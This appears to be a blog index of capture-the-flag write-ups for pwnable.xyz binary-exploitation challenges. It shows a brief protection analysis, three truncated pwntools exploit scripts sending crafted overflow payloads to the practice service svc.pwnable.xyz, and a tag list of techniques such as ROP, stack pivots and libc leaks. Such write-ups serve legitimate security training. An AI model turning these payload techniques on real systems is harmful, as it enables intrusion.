We begin by looking at the protections of the binary. We have several problems and we can not execute code in the stack due to NX protection and we do not see the possibility of an overflow due to canary. We also have PIE activated and full relro so GOT dereferencing/overwriting will not be possible. We start with option 3 that will call the print_flag function. If we see inside the function we ..
Exploit from pwn import * context.log_level = 'debug' p = remote("svc.pwnable.xyz",30031) #p = process('./two_targets') #gdb.attach(p,''' #break *0x00400bd1 #continue #''') payload = "Did_you_really_miss_the_"+"\xc8"+"T_b"+"\x7f"+"D"+"\x84"+"\xf3" p.recvuntil("> ") p.sendline("1") p.recvuntil("name: ") p.sendline(payload) p.recvuntil("> ") p.sendline("4") p.recvuntil("> ") p.interactive()
Exploit from pwn import * import time context.log_level = 'debug' p = remote("svc.pwnable.xyz",30016) #p = process('./note') #gdb.attach(p,''' #break *0x0000000000400a10 #continue #''') p.recvuntil("> ") p.sendline("1") p.recvuntil("Note len? ") p.sendline("38") p.recvuntil("note: ") payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x12\x60\x00" p.sendline(payload) p.recvuntil("> ") p.sendline("2"..
Challenge GrownUp from pwnable.xyz nc svc.pwnable.xyz 30004 Exploit from pwn import * context.log_level = 'debug' p = remote("svc.pwnable.xyz",30004) #p = process('./GrownUpRedist') #gdb.attach(p,''' #break *0x0000000000400914 #continue #''') p.recvuntil("Are you 18 years or older? [y/N]: ") payload = "\x79"+"aaaBCCC"+"\x80\x10\x60" p.sendline(payload) p.recvuntil("Name: ") #payload = "AAAABBBBA..
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- Call oriented programming
- shellcode
- Pwnable.kr
- dnspy
- format string
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- ASM
- x64dbg
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- pwnable.tw
- cracking
- arithmetic overflow/underflow
- leak stack memory address
- use after free
- html injection
- open-redirect
- theFaunia course
- write primitive
- return oriented programming
- hijacking redirection flow
- leak libc
- buffer overflow
- XSS
- Windows
- fake stack frame
- 32Bit
- one gadget
- pwnable.xyz
- stack pivot
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